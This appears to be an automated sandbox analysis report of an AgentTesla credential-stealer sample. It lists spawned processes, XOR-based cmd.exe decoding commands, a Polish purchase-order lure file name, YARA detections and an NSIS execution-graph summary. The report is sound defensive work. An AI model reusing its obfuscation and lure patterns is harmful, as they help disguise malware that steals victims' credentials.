                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:96
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:97
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:98
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x3B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:99
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:100
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:101
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:102
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:103
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:104
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x67^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:105
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:107
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:108
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:109
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x22^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:110
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:111
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:113
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:114
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7F^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:115
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:116
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x67^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:117
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:118
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:119
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:120
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x22^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:121
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:122
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:123
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:124
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:0x7ff6fb6b0000
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:125
                                                                                            Start time:10:04:17
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:126
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x33^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:127
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:128
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x73^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:129
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:130
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:131
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:133
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x67^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:134
                                                                                            Start time:10:04:18
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:137
                                                                                            Start time:10:05:42
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            Imagebase:0xa00000
                                                                                            File size:108664 bytes
                                                                                            MD5 hash:914F728C04D3EDDD5FBA59420E74E56B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:.Net C# or VB.NET
                                                                                            Yara matches:
                                                                                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

                                                                                            General

                                                                                            Target ID:138
                                                                                            Start time:10:05:42
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff6fb6b0000
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language

                                                                                            Disassembly

                                                                                            Reset < >

                                                                                              Execution Graph

                                                                                              Execution Coverage:17.3%
                                                                                              Dynamic/Decrypted Code Coverage:14.1%
                                                                                              Signature Coverage:21.8%
                                                                                              Total number of Nodes:1498
                                                                                              Total number of Limit Nodes:43
                                                                                              execution_graph 5309 10001000 5312 1000101b 5309->5312 5319 100014bb 5312->5319 5314 10001020 5315 10001024 5314->5315 5316 10001027 GlobalAlloc 5314->5316 5317 100014e2 3 API calls 5315->5317 5316->5315 5318 10001019 5317->5318 5320 100014c1 5319->5320 5321 100014c7 5320->5321 5322 100014d3 GlobalFree 5320->5322 5321->5314 5322->5314 5958 4027c1 5959 402a1d 18 API calls 5958->5959 5960 4027c7 5959->5960 5961 402802 5960->5961 5962 4027eb 5960->5962 5969 4026a6 5960->5969 5963 402818 5961->5963 5964 40280c 5961->5964 5965 4027f0 5962->5965 5966 4027ff 5962->5966 5968 405d1b 18 API calls 5963->5968 5967 402a1d 18 API calls 5964->5967 5972 405cf9 lstrcpynA 5965->5972 5966->5969 5973 405c57 wsprintfA 5966->5973 5967->5966 5968->5966 5972->5969 5973->5969 5524 401cc2 5525 402a1d 18 API calls 5524->5525 5526 401cd2 SetWindowLongA 5525->5526 5527 4028cf 5526->5527 5323 401a43 5324 402a1d 18 API calls 5323->5324 5325 401a49 5324->5325 5326 402a1d 18 API calls 5325->5326 5327 4019f3 5326->5327 4339 401e44 4340 402a3a 18 API calls 4339->4340 4341 401e4a 4340->4341 4355 404f12 4341->4355 4345 401eb0 CloseHandle 4349 4026a6 4345->4349 4346 401e5a 4346->4345 4347 401e79 WaitForSingleObject 4346->4347 4346->4349 4369 4060ce 4346->4369 4347->4346 4348 401e87 GetExitCodeProcess 4347->4348 4351 401ea4 4348->4351 4352 401e99 4348->4352 4351->4345 4353 401ea2 4351->4353 4373 405c57 wsprintfA 4352->4373 4353->4345 4356 404f2d 4355->4356 4364 401e54 4355->4364 4357 404f4a lstrlenA 4356->4357 4358 405d1b 18 API calls 4356->4358 4359 404f73 4357->4359 4360 404f58 lstrlenA 4357->4360 4358->4357 4362 404f86 4359->4362 4363 404f79 SetWindowTextA 4359->4363 4361 404f6a lstrcatA 4360->4361 4360->4364 4361->4359 4362->4364 4365 404f8c SendMessageA SendMessageA SendMessageA 4362->4365 4363->4362 4366 40548a CreateProcessA 4364->4366 4365->4364 4367 4054c9 4366->4367 4368 4054bd CloseHandle 4366->4368 4367->4346 4368->4367 4370 4060eb PeekMessageA 4369->4370 4371 4060e1 DispatchMessageA 4370->4371 4372 4060fb 4370->4372 4371->4370 4372->4347 4373->4353 5328 402644 5329 40264a 5328->5329 5330 402652 FindClose 5329->5330 5331 4028cf 5329->5331 5330->5331 5783 406344 5785 4061c8 5783->5785 5784 406b33 5785->5784 5786 406252 GlobalAlloc 5785->5786 5787 406249 GlobalFree 5785->5787 5788 4062c0 GlobalFree 5785->5788 5789 4062c9 GlobalAlloc 5785->5789 5786->5784 5786->5785 5787->5786 5788->5789 5789->5784 5789->5785 5528 4026c6 5529 402a3a 18 API calls 5528->5529 5530 4026d4 5529->5530 5531 4026ea 5530->5531 5532 402a3a 18 API calls 5530->5532 5533 405947 2 API calls 5531->5533 5532->5531 5534 4026f0 5533->5534 5556 40596c GetFileAttributesA CreateFileA 5534->5556 5536 4026fd 5537 4027a0 5536->5537 5538 402709 GlobalAlloc 5536->5538 5541 4027a8 DeleteFileA 5537->5541 5542 4027bb 5537->5542 5539 402722 5538->5539 5540 402797 CloseHandle 5538->5540 5557 403091 SetFilePointer 5539->5557 5540->5537 5541->5542 5544 402728 5545 40307b ReadFile 5544->5545 5546 402731 GlobalAlloc 5545->5546 5547 402741 5546->5547 5548 402775 5546->5548 5550 402e9f 36 API calls 5547->5550 5549 405a13 WriteFile 5548->5549 5551 402781 GlobalFree 5549->5551 5552 40274e 5550->5552 5553 402e9f 36 API calls 5551->5553 5554 40276c GlobalFree 5552->5554 5555 402794 5553->5555 5554->5548 5555->5540 5556->5536 5557->5544 5332 402847 5333 402a1d 18 API calls 5332->5333 5334 40284d 5333->5334 5335 40287e 5334->5335 5337 4026a6 5334->5337 5338 40285b 5334->5338 5336 405d1b 18 API calls 5335->5336 5335->5337 5336->5337 5338->5337 5340 405c57 wsprintfA 5338->5340 5340->5337 5558 4022c7 5559 402a3a 18 API calls 5558->5559 5560 4022d8 5559->5560 5561 402a3a 18 API calls 5560->5561 5562 4022e1 5561->5562 5563 402a3a 18 API calls 5562->5563 5564 4022eb GetPrivateProfileStringA 5563->5564 4691 1000270b 4692 1000275b 4691->4692 4693 1000271b VirtualProtect 4691->4693 4693->4692 5341 1000180d 5342 10001830 5341->5342 5343 10001860 GlobalFree 5342->5343 5344 10001872 5342->5344 5343->5344 5345 10001266 2 API calls 5344->5345 5346 100019e3 GlobalFree GlobalFree 5345->5346 4694 405050 4695 405072 GetDlgItem GetDlgItem GetDlgItem 4694->4695 4696 4051fb 4694->4696 4740 403f13 SendMessageA 4695->4740 4698 405203 GetDlgItem CreateThread CloseHandle 4696->4698 4699 40522b 4696->4699 4698->4699 4743 404fe4 OleInitialize 4698->4743 4701 405259 4699->4701 4702 405241 ShowWindow ShowWindow 4699->4702 4703 40527a 4699->4703 4700 4050e2 4705 4050e9 GetClientRect GetSystemMetrics SendMessageA SendMessageA 4700->4705 4704 405261 4701->4704 4706 4052b4 4701->4706 4742 403f13 SendMessageA 4702->4742 4710 403f45 8 API calls 4703->4710 4708 405269 4704->4708 4709 40528d ShowWindow 4704->4709 4713 405157 4705->4713 4714 40513b SendMessageA SendMessageA 4705->4714 4706->4703 4715 4052c1 SendMessageA 4706->4715 4716 403eb7 SendMessageA 4708->4716 4711 4052ad 4709->4711 4712 40529f 4709->4712 4717 405286 4710->4717 4719 403eb7 SendMessageA 4711->4719 4718 404f12 25 API calls 4712->4718 4720 40516a 4713->4720 4721 40515c SendMessageA 4713->4721 4714->4713 4715->4717 4722 4052da CreatePopupMenu 4715->4722 4716->4703 4718->4711 4719->4706 4724 403ede 19 API calls 4720->4724 4721->4720 4723 405d1b 18 API calls 4722->4723 4725 4052ea AppendMenuA 4723->4725 4726 40517a 4724->4726 4727 405308 GetWindowRect 4725->4727 4728 40531b TrackPopupMenu 4725->4728 4729 405183 ShowWindow 4726->4729 4730 4051b7 GetDlgItem SendMessageA 4726->4730 4727->4728 4728->4717 4732 405337 4728->4732 4733 4051a6 4729->4733 4734 405199 ShowWindow 4729->4734 4730->4717 4731 4051de SendMessageA SendMessageA 4730->4731 4731->4717 4735 405356 SendMessageA 4732->4735 4741 403f13 SendMessageA 4733->4741 4734->4733 4735->4735 4737 405373 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 4735->4737 4738 405395 SendMessageA 4737->4738 4738->4738 4739 4053b7 GlobalUnlock SetClipboardData CloseClipboard 4738->4739 4739->4717 4740->4700 4741->4730 4742->4701 4744 403f2a SendMessageA 4743->4744 4745 405007 4744->4745 4748 401389 2 API calls 4745->4748 4749 40502e 4745->4749 4746 403f2a SendMessageA 4747 405040 OleUninitialize 4746->4747 4748->4745 4749->4746 4943 401751 4944 402a3a 18 API calls 4943->4944 4945 401758 4944->4945 4946 401776 4945->4946 4947 40177e 4945->4947 4982 405cf9 lstrcpynA 4946->4982 4983 405cf9 lstrcpynA 4947->4983 4950 40177c 4954 405f64 5 API calls 4950->4954 4951 401789 4952 40576b 3 API calls 4951->4952 4953 40178f lstrcatA 4952->4953 4953->4950 4958 40179b 4954->4958 4955 405ffd 2 API calls 4955->4958 4956 405947 2 API calls 4956->4958 4958->4955 4958->4956 4959 4017b2 CompareFileTime 4958->4959 4960 401876 4958->4960 4963 405cf9 lstrcpynA 4958->4963 4969 405d1b 18 API calls 4958->4969 4978 40184d 4958->4978 4981 40596c GetFileAttributesA CreateFileA 4958->4981 4984 4054ef 4958->4984 4959->4958 4961 404f12 25 API calls 4960->4961 4964 401880 4961->4964 4962 404f12 25 API calls 4979 401862 4962->4979 4963->4958 4965 402e9f 36 API calls 4964->4965 4966 401893 4965->4966 4967 4018a7 SetFileTime 4966->4967 4968 4018b9 CloseHandle 4966->4968 4967->4968 4970 4018ca 4968->4970 4968->4979 4969->4958 4971 4018e2 4970->4971 4972 4018cf 4970->4972 4974 405d1b 18 API calls 4971->4974 4973 405d1b 18 API calls 4972->4973 4975 4018d7 lstrcatA 4973->4975 4976 4018ea 4974->4976 4975->4976 4976->4979 4980 4054ef MessageBoxIndirectA 4976->4980 4978->4962 4978->4979 4980->4979 4981->4958 4982->4950 4983->4951 4985 405504 4984->4985 4986 405550 4985->4986 4987 405518 MessageBoxIndirectA 4985->4987 4986->4958 4987->4986 5354 401651 5355 402a3a 18 API calls 5354->5355 5356 401657 5355->5356 5357 405ffd 2 API calls 5356->5357 5358 40165d 5357->5358 5790 401951 5791 402a1d 18 API calls 5790->5791 5792 401958 5791->5792 5793 402a1d 18 API calls 5792->5793 5794 401962 5793->5794 5795 402a3a 18 API calls 5794->5795 5796 40196b 5795->5796 5797 40197e lstrlenA 5796->5797 5798 4019b9 5796->5798 5799 401988 5797->5799 5799->5798 5803 405cf9 lstrcpynA 5799->5803 5801 4019a2 5801->5798 5802 4019af lstrlenA 5801->5802 5802->5798 5803->5801 4988 4021d2 4989 402a3a 18 API calls 4988->4989 4990 4021d8 4989->4990 4991 402a3a 18 API calls 4990->4991 4992 4021e1 4991->4992 4993 402a3a 18 API calls 4992->4993 4994 4021ea 4993->4994 4995 405ffd 2 API calls 4994->4995 4996 4021f3 4995->4996 4997 402204 lstrlenA 